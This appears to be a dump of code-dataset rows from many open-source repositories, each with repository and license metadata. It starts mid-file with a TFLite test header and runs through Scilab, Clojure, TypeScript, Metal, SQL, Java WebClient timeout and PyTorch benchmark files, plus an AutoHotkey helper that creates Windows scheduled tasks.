inline float RelativeTolerance() const { return relative_tolerance_; }
void Test(tflite::BuiltinOperator reduce_op, TfLiteDelegate* delegate) const;
private:
std::vector<char> CreateTfLiteModel(tflite::BuiltinOperator reduce_op) const;
static int32_t ComputeSize(const std::vector<int32_t>& shape);
std::vector<int32_t> input_shape_;
std::vector<int32_t> axes_;
int32_t input_size_;
bool keep_dims_ = true;
float relative_tolerance_ = 10.0f;
};
} // namespace xnnpack
} // namespace tflite
#endif // TENSORFLOW_LITE_DELEGATES_XNNPACK_REDUCE_TESTER_H_
| C | 4 | yage99/tensorflow | tensorflow/lite/delegates/xnnpack/reduce_tester.h | [
"Apache-2.0"
] |
# Set this to minimum supported API level for React Native.
sdk=21
| INI | 0 | anaskhraza/react-native | ReactAndroid/src/test/resources/robolectric.properties | [
"CC-BY-4.0",
"MIT"
] |
;###########################################################
; Create a scheduled task natively [AHK_L]
; Original by shajul
; http://www.autohotkey.com/board/topic/61042-create-a-scheduled-task-natively-ahk-l/
;###########################################################
ScheduleTask(TriggerType, startTime, Path, Args, Name)
{
; TriggerType := 1 ; specifies a time-based trigger.
ActionTypeExec := 0 ; specifies an executable action.
LogonType := 3 ; Set the logon type to interactive logon
TaskCreateOrUpdate = 6
;********************************************************
; Create the TaskService object.
service := ComObjCreate("Schedule.Service")
service.Connect()
;********************************************************
; Get a folder to create a task definition in.
rootFolder := service.GetFolder("\")
; The taskDefinition variable is the TaskDefinition object.
; The flags parameter is 0 because it is not supported.
taskDefinition := service.NewTask(0)
;********************************************************
; Define information about the task.
; Set the registration info for the task by
; creating the RegistrationInfo object.
regInfo := taskDefinition.RegistrationInfo
; regInfo.Description := "Start notepad at a certain time"
; regInfo.Author := "shajul"
;********************************************************
; Set the principal for the task
principal := taskDefinition.Principal
principal.LogonType := LogonType ; Set the logon type to interactive logon
; Set the task setting info for the Task Scheduler by
; creating a TaskSettings object.
settings := taskDefinition.Settings
settings.Enabled := True
settings.StartWhenAvailable := True
settings.Hidden := False
;********************************************************
; Create a time-based trigger.
triggers := taskDefinition.Triggers
trigger := triggers.Create(TriggerType)
If (TriggerType = 3)
{
Time := 1
FormatTime, WTime, startTime, WDay
Loop, % WTime - 1
Time := Time + Time
trigger.DaysOfWeek := Time
}
If (TriggerType = 4)
{
Time := 1
FormatTime, MTime, startTime, d
Loop, % MTime - 1
Time := Time + Time
trigger.DaysOfMonth := Time
}
; Trigger variables that define when the trigger is active.
trigger.StartBoundary := startTime
trigger.Id := "TimeTriggerId"
trigger.Enabled := True
;***********************************************************
; Create the action for the task to execute.
; Add an action to the task to run notepad.exe.
Action := taskDefinition.Actions.Create(ActionTypeExec)
Action.Path := Path
Action.Arguments := Args
;***********************************************************
; Register (create) the task.
rootFolder.RegisterTaskDefinition(Name " - PMC Macro", taskDefinition, TaskCreateOrUpdate ,"","", 3)
}
| AutoHotkey | 5 | standardgalactic/PuloversMacroCreator | LIB/ScheduleTask.ahk | [
"Unlicense"
] |
exec("swigtest.start", -1);
// Check passing by value
checkequal(val_double(42), 42, "val_double() test fails.");
checkequal(val_float(42), 42, "val_float() test fails.");
checkequal(val_char('a'), 'a', "val_char() test fails.");
checkequal(val_schar(42), 42, "val_schar() test fails.");
checkequal(val_schar(int8(42)), 42, "val_schar() test fails.");
checkequal(val_uchar(uint8(42)), 42, "val_uchar() test fails.");
checkequal(val_short(42), 42, "val_short() test fails.");
checkequal(val_short(int16(42)), 42, "val_short() test fails.");
checkequal(val_ushort(uint16(42)), 42, "val_ushort() test fails.");
checkequal(val_int(42), 42, "val_int() test fails.");
checkequal(val_int(int32(42)), 42, "val_int() test fails.");
checkequal(val_uint(uint32(42)), 42, "val_uint() test fails.");
checkequal(val_long(42), 42, "val_long() test fails.");
checkequal(val_long(int32(42)), 42, "val_long() test fails.");
checkequal(val_ulong(uint32(42)), 42, "val_long() test fails.");
checkequal(val_bool(%t), %t, "val_bool() test fails.");
// longlong is not supported in Scilab 5.x
//checkequal(val_llong(42), 42, "val_llong() test fails.");
//checkequal(val_llong(int64(42)), 42, "val_llong() test fails.");
//checkequal(val_ullong(uint64(42)), 42, "val_ullong() test fails.");
// Check passing by reference
checkequal(ref_char('a'), 'a', "ref_char() test fails.");
checkequal(ref_schar(42), 42, "ref_schar() test fails.");
checkequal(ref_schar(int8(42)), 42, "ref_schar() test fails.");
checkequal(ref_uchar(uint8(42)), 42, "ref_uchar() test fails.");
checkequal(ref_short(42), 42, "ref_short() test fails.")
checkequal(ref_short(int16(42)), 42, "ref_short() test fails.")
checkequal(ref_ushort(uint16(42)), 42, "ref_ushort() test fails.")
checkequal(ref_int(42), 42, "ref_int() test fails.");
checkequal(ref_int(int32(42)), 42, "ref_int() test fails.");
checkequal(ref_uint(uint32(42)), 42, "ref_uint() test fails.");
checkequal(ref_long(42), 42, "ref_long() test fails.");
checkequal(ref_long(int32(42)), 42, "ref_long() test fails.");
checkequal(ref_ulong(uint32(42)), 42, "ref_ulong() test fails.");
checkequal(ref_bool(%t), %t, "ref_bool() test fails.");
// long long is not supported in Scilab 5.x
//checkequal(ref_llong(42), 42, "ref_llong() test fails.");
//checkequal(ref_llong(int64(42)), 42, "ref_llong() test fails.");
//checkequal(ref_ullong(uint64(42)), 42, "ref_ullong() test fails.");
exec("swigtest.quit", -1);
| Scilab | 3 | kyletanyag/LL-Smartcard | cacreader/swig-4.0.2/Examples/test-suite/scilab/primitive_types_runme.sci | [
"BSD-3-Clause"
] |
(ns swagger-petstore.api.pet-test
(:require [clojure.test :refer :all]
[clojure.java.io :as io]
[swagger-petstore.core :refer [with-api-context]]
[swagger-petstore.api.pet :refer :all]))
(defn credentials-fixture [f]
(with-api-context {:auths {"api_key" "special-key"}}
(f)))
(use-fixtures :once credentials-fixture)
(defn- make-random-pet
([] (make-random-pet nil))
([{:keys [id] :as attrs :or {id (System/currentTimeMillis)}}]
(merge {:id id
:name (str "pet-" id)
:status "available"
:photoUrls ["http://foo.bar.com/1" "http://foo.bar.com/2"]
:category {:name "really-happy"}}
attrs)))
(deftest test-create-and-get-pet
(let [{:keys [id] :as pet} (make-random-pet)
_ (add-pet {:body pet})
fetched (get-pet-by-id id)]
(is (identity fetched))
(is (= id (:id fetched)))
(is (identity (:category fetched)))
(is (= (get-in pet [:category :name]) (get-in fetched [:category :name])))
(delete-pet id)))
(deftest test-create-and-get-pet-with-http-info
(let [{:keys [id] :as pet} (make-random-pet)
_ (add-pet-with-http-info {:body pet})
{:keys [status headers data]} (get-pet-by-id-with-http-info id)]
(is (= 200 status))
(is (= "application/json" (:content-type headers)))
(is (identity data))
(is (= id (:id data)))
(is (identity (:category data)))
(is (= (get-in pet [:category :name]) (get-in data [:category :name])))
(delete-pet id)))
(deftest test-find-pets-by-status
(let [status "pending"
{:keys [id] :as pet} (make-random-pet {:status status})
_ (add-pet {:body pet})
pets (find-pets-by-status {:status [status]})]
(is (seq pets))
(is (some #{id} (map :id pets)))
(delete-pet id)))
(deftest test-find-pets-by-tags
(let [tag-name (str "tag-" (rand-int 1000))
tag {:name tag-name}
{:keys [id] :as pet} (make-random-pet {:tags [tag]})
_ (add-pet {:body pet})
pets (find-pets-by-tags {:tags [tag-name]})]
(is (seq pets))
(is (some #{id} (map :id pets)))
(delete-pet id)))
(deftest test-update-pet-with-form
(let [{pet-id :id :as pet} (make-random-pet {:name "new name" :status "available"})
_ (add-pet {:body pet})
{:keys [id name status]} (get-pet-by-id pet-id)]
(is (= pet-id id))
(is (= "new name" name))
(is (= "available" status))
;; update "name" only
(update-pet-with-form pet-id {:name "updated name 1"})
(let [{:keys [id name status]} (get-pet-by-id pet-id)]
(is (= pet-id id))
(is (= "updated name 1" name))
(is (= "available" status)))
;; update "status" only
(update-pet-with-form pet-id {:status "pending"})
(let [{:keys [id name status]} (get-pet-by-id pet-id)]
(is (= pet-id id))
(is (= "updated name 1" name))
(is (= "pending" status)))
;; update both "name" and "status"
(update-pet-with-form pet-id {:name "updated name 2" :status "sold"})
(let [{:keys [id name status]} (get-pet-by-id pet-id)]
(is (= pet-id id))
(is (= "updated name 2" name))
(is (= "sold" status)))
(delete-pet pet-id)))
(deftest test-delete-pet
(let [{:keys [id] :as pet} (make-random-pet)
_ (add-pet {:body pet})
fetched (get-pet-by-id id)]
(is (= id (:id fetched)))
(delete-pet id)
(is (thrown? RuntimeException (get-pet-by-id id)))))
(deftest test-upload-file
(let [{:keys [id] :as pet} (make-random-pet)
_ (add-pet {:body pet})
file (io/file (io/resource "hello.txt"))]
;; no errors with upload-file
(upload-file id {:file file :additional-metadata "uploading file with clojure client"})))
| Clojure | 4 | wwadge/swagger-codegen | samples/client/petstore/clojure/test/swagger_petstore/api/pet_test.clj | [
"Apache-2.0"
] |
/// <reference path="fourslash.ts" />
//// class C {
//// /**/set Bar(bar:string) {}
//// }
//// var o2 = { set Foo(val:number) { } };
goTo.marker();
edit.insert("public ");
| TypeScript | 4 | nilamjadhav/TypeScript | tests/cases/fourslash/insertPublicBeforeSetter.ts | [
"Apache-2.0"
] |
---
title: Blog
layout: layouts/page.liquid
---
{% for post in collections.post reversed %}
<section class="blog">
<article>
<h1><a href="{{ post.url }}">{{ post.data.title }}</a></h1>
{% assign author_url = post.data.author_url %}
{% assign author_avatar = post.data.author_avatar %}
{% assign author_name = post.data.author_name %}
{% assign date = post.date %}
{% include blog-post-info.liquid %}
<p>{{ post.templateContent | blogSummary }}</p>
<p><a href="{{ post.url }}">Read more</a></p>
</article>
</section>
{% endfor %}
| Liquid | 3 | ViGi-P/rome | website/src/blog/index.liquid | [
"MIT"
] |
//
// MetalROIPooling.metal
// MNN
//
// Created by MNN on 2018/08/14.
// Copyright © 2018, Alibaba Group Holding Limited
//
#include <metal_stdlib>
#include "MetalDefine.metal"
using namespace metal;
struct ROI_shape {
int input_width;
int input_height;
int input_size;
int output_width;
int output_height;
int output_size;
int slices;
float spatial_scale;
};
kernel void ROI_pooling(const device ftype4 *in [[buffer(0)]],
const device ftype *roi [[buffer(1)]],
device ftype4 *out [[buffer(2)]],
constant ROI_shape &s [[buffer(3)]],
uint3 gid [[thread_position_in_grid]]) {
if ((int)gid.x >= s.output_width || (int)gid.y >= s.output_height) return;
int ob = gid.z / s.slices;
int iz = gid.z % s.slices;
auto b_roi = roi + ob * 8; // roundup(5, 4) = 8
int ib = int(b_roi[0]);
int x1 = round(float(b_roi[1]) * s.spatial_scale);
int y1 = round(float(b_roi[2]) * s.spatial_scale);
int x2 = round(float(b_roi[3]) * s.spatial_scale);
int y2 = round(float(b_roi[4]) * s.spatial_scale);
int roi_w = max(x2 - x1 + 1, 1);
int roi_h = max(y2 - y1 + 1, 1);
auto bin_size_w = (ftype)roi_w / s.output_width;
auto bin_size_h = (ftype)roi_h / s.output_height;
int w_start = clamp(x1 + (int)floor(gid.x * bin_size_w) , 0, s.input_width);
int w_end = clamp(x1 + (int)ceil((gid.x + 1) * bin_size_w), 0, s.input_width);
int h_start = clamp(y1 + (int)floor(gid.y * bin_size_h) , 0, s.input_height);
int h_end = clamp(y1 + (int)ceil((gid.y + 1) * bin_size_h), 0, s.input_height);
int is_empty = (h_end <= h_start) || (w_end <= w_start);
auto z_in = in + (ib * s.slices + iz) * s.input_size;
auto max4 = is_empty ? 0 : z_in[h_start * s.input_width + w_start];
for (int y = h_start; y < h_end; y++) {
auto y_in = z_in + y * s.input_width;
for (int x = w_start; x < w_end; x++) {
max4 = max(max4, y_in[x]);
}
}
out[int(gid.z) * s.output_size + int(gid.y) * s.output_width + int(gid.x)] = max4;
}
| Metal | 4 | xhuan28/MNN | source/backend/metal/MetalROIPooling.metal | [
"Apache-2.0"
] |
func $foo (
var %i i32
#var %i1 i32, var %j1 i32, var %k1 i32
) i32 {
return (
neg i32(dread i32 %i))}
func $foo1 (
var %i i32, var %j i32, var %k i32,
var %i1 i32, var %j1 i32, var %k1 i32
) i32 {
return (
neg i32(dread i32 %i))}
func $foo2 (
var %i i32, var %j i32, var %k i32
) i32 {
return (
neg i32(constval i32 0x111111111))}
func $foo3 (
var %i i64, var %j i64, var %k i32
) i64 {
return (
neg i64(dread i64 %i))}
func $foo5 (
var %i i64, var %j i64, var %k i32
) i64 {
return (
neg i64(constval i64 0x11111))}
func $foo6 (
var %i f64
) f64 {
return (
neg f64(dread f64 %i))}
func $foo7 (
var %i f32
) f32 {
return (
neg f32(dread f32 %i))}
func $foo8 (
var %i f64
) f64 {
return (
neg f64(constval f64 -1.24))}
func $foo9 (
var %i f32
) f32 {
return (
neg f32(constval f32 -1.24f))}
# todo float neg
# EXEC: %irbuild Main.mpl
# EXEC: %irbuild Main.irb.mpl
# EXEC: %cmp Main.irb.mpl Main.irb.irb.mpl
| Maple | 3 | harmonyos-mirror/OpenArkCompiler-test | test/testsuite/irbuild_test/I0059-mapleall-irbuild-edge-neg/Main.mpl | [
"MulanPSL-1.0"
] |
--- TESTS FOR DATETIME PARSING FUNCTIONS ---
-- parsing with pattern 'y'.
-- the range of valid year is [-290307, 294247],
-- but particularly, some thrift client use java.sql.Timestamp to parse timestamp, which allows
-- only positive year values less or equal than 9999. So the cases bellow only use [1, 9999] to pass
-- ThriftServerQueryTestSuite
select to_timestamp('1', 'y');
select to_timestamp('009999', 'y');
-- reduced two digit form is used, the range of valid year is 20-[01, 99]
select to_timestamp('00', 'yy');
select to_timestamp('99', 'yy');
-- the range of valid year is [-290307, 294247], the number of digits must be in [3, 6] for 'yyy'
select to_timestamp('001', 'yyy');
select to_timestamp('009999', 'yyy');
-- the range of valid year is [-9999, 9999], the number of digits must be 4 for 'yyyy'.
select to_timestamp('0001', 'yyyy');
select to_timestamp('9999', 'yyyy');
-- the range of valid year is [-99999, 99999], the number of digits must be 5 for 'yyyyy'.
select to_timestamp('00001', 'yyyyy');
select to_timestamp('09999', 'yyyyy');
-- the range of valid year is [-290307, 294247], the number of digits must be 6 for 'yyyyyy'.
select to_timestamp('000001', 'yyyyyy');
select to_timestamp('009999', 'yyyyyy');
-- parsing with pattern 'D'
select to_timestamp('9', 'D');
select to_timestamp('300', 'D');
select to_timestamp('09', 'DD');
select to_timestamp('99', 'DD');
select to_timestamp('009', 'DDD');
select to_timestamp('365', 'DDD');
select to_timestamp('31-365', 'dd-DDD');
select to_timestamp('12-365', 'MM-DDD');
select to_timestamp('2020-365', 'yyyy-DDD');
select to_timestamp('12-31-365', 'MM-dd-DDD');
select to_timestamp('2020-30-365', 'yyyy-dd-DDD');
select to_timestamp('2020-12-350', 'yyyy-MM-DDD');
select to_timestamp('2020-12-31-366', 'yyyy-MM-dd-DDD');
| SQL | 5 | OlegPt/spark | sql/core/src/test/resources/sql-tests/inputs/datetime-parsing.sql | [
"Apache-2.0"
] |
function foo<A extends any[]>(
arg: <T extends { a: number }>(t: T, ...rest: A) => number
) { }
foo((t, u: number) => t.a) | TypeScript | 3 | monciego/TypeScript | tests/cases/compiler/contextuallyTypedGenericAssignment.ts | [
"Apache-2.0"
] |
<interface name="stream">
<datafield ftype="struct stream_pkt *" name="start" />
<datafield ftype="struct stream_pkt *" name="end" />
<datafield ftype="struct stream_pkt *" name="completed_start" />
<datafield ftype="struct stream_pkt *" name="completed_end" />
<method rtype="int" name="sync" />
</interface>
| D | 3 | CyberQueenMara/baseband-research | okl4_kernel/okl4_2.1.1-patch.9/libs/driverv2/include/stream_if.di | [
"MIT"
] |
# @ECLASS: deep-provided-inherit.eclass
# @MAINTAINER:
# Random Person <[email protected]>
# @SUPPORTED_EAPIS: 0 1 2 3 4 5 6 7
# @PROVIDES: provided-inherit
# @BLURB: Stub eclass for testing InheritsCheck.
inherit provided-inherit
# @FUNCTION: deep-provided-inherit_public_func
# @DESCRIPTION:
# Public stub function.
deep-provided-inherit_public_func() { :; }
| Gentoo Eclass | 4 | floppym/pkgcheck | testdata/repos/eclass/eclass/deep-provided-inherit.eclass | [
"BSD-3-Clause"
] |
# Comment
| YAML | 0 | fuelingtheweb/prettier | tests/yaml_spec/spec-example-6-10-comment-lines.yml | [
"MIT"
] |
\2a {} | CSS | 0 | mengxy/swc | crates/swc_css_parser/tests/fixture/esbuild/misc/GNiHtd4OPiZDQlN5KGAmRQ/input.css | [
"Apache-2.0"
] |
package com.baeldung.webclient.timeout;
import io.netty.channel.ChannelOption;
import io.netty.channel.epoll.EpollChannelOption;
import io.netty.handler.ssl.SslContextBuilder;
import io.netty.handler.timeout.ReadTimeoutHandler;
import io.netty.handler.timeout.WriteTimeoutHandler;
import lombok.experimental.UtilityClass;
import org.springframework.http.client.reactive.ReactorClientHttpConnector;
import org.springframework.web.reactive.function.client.WebClient;
import reactor.netty.http.client.HttpClient;
import reactor.netty.tcp.SslProvider;
import reactor.netty.transport.ProxyProvider;
import java.time.Duration;
import java.util.concurrent.TimeUnit;
@UtilityClass
public class WebClientTimeoutProvider {
public static WebClient defaultWebClient() {
HttpClient httpClient = HttpClient.create();
return buildWebClient(httpClient);
}
public WebClient responseTimeoutClient() {
HttpClient httpClient = HttpClient.create()
.responseTimeout(Duration.ofSeconds(1));
return buildWebClient(httpClient);
}
public WebClient connectionTimeoutClient() {
HttpClient httpClient = HttpClient.create()
.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 1000);
return buildWebClient(httpClient);
}
public WebClient connectionTimeoutWithKeepAliveClient() {
HttpClient httpClient = HttpClient.create()
.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 10000)
.option(ChannelOption.SO_KEEPALIVE, true)
.option(EpollChannelOption.TCP_KEEPIDLE, 300)
.option(EpollChannelOption.TCP_KEEPINTVL, 60)
.option(EpollChannelOption.TCP_KEEPCNT, 8);
return buildWebClient(httpClient);
}
public WebClient readWriteTimeoutClient() {
HttpClient httpClient = HttpClient.create()
.doOnConnected(conn -> conn
.addHandler(new ReadTimeoutHandler(5, TimeUnit.SECONDS))
.addHandler(new WriteTimeoutHandler(5)));
return buildWebClient(httpClient);
}
public WebClient sslTimeoutClient() {
HttpClient httpClient = HttpClient.create()
.secure(spec -> spec
.sslContext(SslContextBuilder.forClient())
.defaultConfiguration(SslProvider.DefaultConfigurationType.TCP)
.handshakeTimeout(Duration.ofSeconds(30))
.closeNotifyFlushTimeout(Duration.ofSeconds(10))
.closeNotifyReadTimeout(Duration.ofSeconds(10)));
return buildWebClient(httpClient);
}
public WebClient proxyTimeoutClient() {
HttpClient httpClient = HttpClient.create()
.proxy(spec -> spec
.type(ProxyProvider.Proxy.HTTP)
.host("http://proxy")
.port(8080)
.connectTimeoutMillis(3000));
return buildWebClient(httpClient);
}
private WebClient buildWebClient(HttpClient httpClient) {
return WebClient.builder()
.clientConnector(new ReactorClientHttpConnector(httpClient))
.build();
}
}
| Java | 4 | DBatOWL/tutorials | spring-5-reactive-client/src/main/java/com/baeldung/webclient/timeout/WebClientTimeoutProvider.java | [
"MIT"
] |
import operator_benchmark as op_bench
import torch
"""Microbenchmarks for quantized unary operators (point-wise and reduction)."""
# Configs for pointwise and reduction unary ops
qunary_ops_configs_short = op_bench.config_list(
attr_names=['M', 'N'],
attrs=[
[512, 512],
],
cross_product_configs={
'dtype': [torch.quint8],
},
tags=['short']
)
qunary_ops_configs_long = op_bench.cross_product_configs(
M=[256, 1024],
N=[256, 1024],
dtype=[torch.quint8, torch.qint8, torch.qint32],
tags=['long']
)
class QUnaryOpBenchmark(op_bench.TorchBenchmarkBase):
def init(self, M, N, dtype, op_func):
f_input = torch.rand(M, N)
scale = 1.0
zero_point = 0
self.inputs = {
"q_input": torch.quantize_per_tensor(f_input, scale=scale,
zero_point=zero_point,
dtype=dtype)
}
self.op_func = op_func
def forward(self, q_input):
return self.op_func(q_input)
# TODO: Uncomment the ops whenever they are implemented for quantized tensor.
qunary_ops_list = op_bench.op_list(
attr_names=['op_name', 'op_func'],
attrs=[
# ['q_abs', torch.abs],
# ['q_abs_', torch.abs_],
# ['q_acos', torch.acos],
# ['q_acos_', torch.acos_],
['q_argsort', torch.argsort],
# ['q_asin', torch.asin],
# ['q_asin_', torch.asin_],
# ['q_atan', torch.atan],
# ['q_atan_', torch.atan_],
# ['q_ceil', torch.ceil],
# ['q_ceil_', torch.ceil_],
['q_clone', torch.clone],
# ['q_cos', torch.cos],
# ['q_cos_', torch.cos_],
# ['q_cosh', torch.cosh],
# ['q_digamma', torch.digamma],
# ['q_erf', torch.erf],
# ['q_erf_', torch.erf_],
# ['q_erfc', torch.erfc],
# ['q_erfc_', torch.erfc_],
# ['q_erfinv', torch.erfinv],
# ['q_exp', torch.exp],
# ['q_exp_', torch.exp_],
# ['q_expm1', torch.expm1],
# ['q_expm1_', torch.expm1_],
# ['q_floor', torch.floor],
# ['q_floor_', torch.floor_],
# ['q_frac', torch.frac],
# ['q_frac_', torch.frac_],
# ['q_hardshrink', torch.hardshrink],
# ['q_lgamma', torch.lgamma],
# ['q_log', torch.log],
# ['q_log10', torch.log10],
# ['q_log10_', torch.log10_],
# ['q_log1p', torch.log1p],
# ['q_log1p_', torch.log1p_],
# ['q_log2', torch.log2],
# ['q_log2_', torch.log2_],
# ['q_log_', torch.log_],
['q_mean', torch.mean],
# ['q_neg', torch.neg],
# ['q_neg_', torch.neg_],
# ['q_reciprocal', torch.reciprocal],
# ['q_reciprocal_', torch.reciprocal_],
['q_relu', torch.relu],
['q_relu_', torch.relu_],
# ['q_round', torch.round],
# ['q_round_', torch.round_],
# ['q_rsqrt', torch.rsqrt],
# ['q_rsqrt_', torch.rsqrt_],
# ['q_sigmoid', torch.sigmoid],
# ['q_sigmoid_', torch.sigmoid_],
# ['q_sign', torch.sign],
# ['q_sin', torch.sin],
# ['q_sin_', torch.sin_],
# ['q_sinh', torch.sinh],
['q_sort', torch.sort],
# ['q_sqrt', torch.sqrt],
# ['q_sqrt_', torch.sqrt_],
# ['q_tan', torch.tan],
# ['q_tan_', torch.tan_],
# ['q_tanh', torch.tanh],
# ['q_tanh_', torch.tanh_],
# ['q_trunc', torch.trunc],
# ['q_trunc_', torch.trunc_],
# ['q_unique', torch.unique],
# ['q_zero_', torch.zero_],
# ['q_bernoulli_', lambda t: t.bernoulli_()],
# ['q_cauchy_', lambda t: t.cauchy_()],
# ['q_digamma_', lambda t: t.digamma_()],
# ['q_exponential_', lambda t: t.exponential_()],
# ['q_normal_', lambda t: t.normal_()],
# ['q_random_', lambda t: t.random_()],
# ['q_sign_', lambda t: t.sign_()],
# ['q_uniform_', lambda t: t.uniform_()],
# ['q_half', lambda t: t.half()],
# ['q_long', lambda t: t.long()],
],
)
op_bench.generate_pt_tests_from_op_list(qunary_ops_list,
qunary_ops_configs_short + qunary_ops_configs_long,
QUnaryOpBenchmark)
# === Other unary ops (i.e. the ones that need parameters as args) ===
# Configs for pointwise and reduction unary ops
qunary_ops_topk_configs_short = op_bench.config_list(
attr_names=['M', 'N', 'k'],
attrs=[
[512, 512, 5],
],
cross_product_configs={
'dtype': [torch.quint8],
},
tags=['short']
)
qunary_ops_topk_configs_long = op_bench.cross_product_configs(
M=[256, 1024],
N=[256, 1024],
k=[1, 3, 5],
dtype=[torch.quint8, torch.qint8, torch.qint32],
tags=['long']
)
class QTopkOpBenchmark(op_bench.TorchBenchmarkBase):
def init(self, M, N, dtype, k):
f_input = torch.rand(M, N)
scale = 1.0
zero_point = 0
self.inputs = {
"q_input": torch.quantize_per_tensor(f_input, scale=scale,
zero_point=zero_point,
dtype=dtype),
"k": k
}
self.set_module_name('qtopk')
def forward(self, q_input, k: int):
return torch.topk(q_input, k)
op_bench.generate_pt_test(qunary_ops_topk_configs_short + qunary_ops_topk_configs_long,
QTopkOpBenchmark)
if __name__ == "__main__":
op_bench.benchmark_runner.main()
| Python | 4 | Hacky-DH/pytorch | benchmarks/operator_benchmark/pt/qunary_test.py | [
"Intel"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.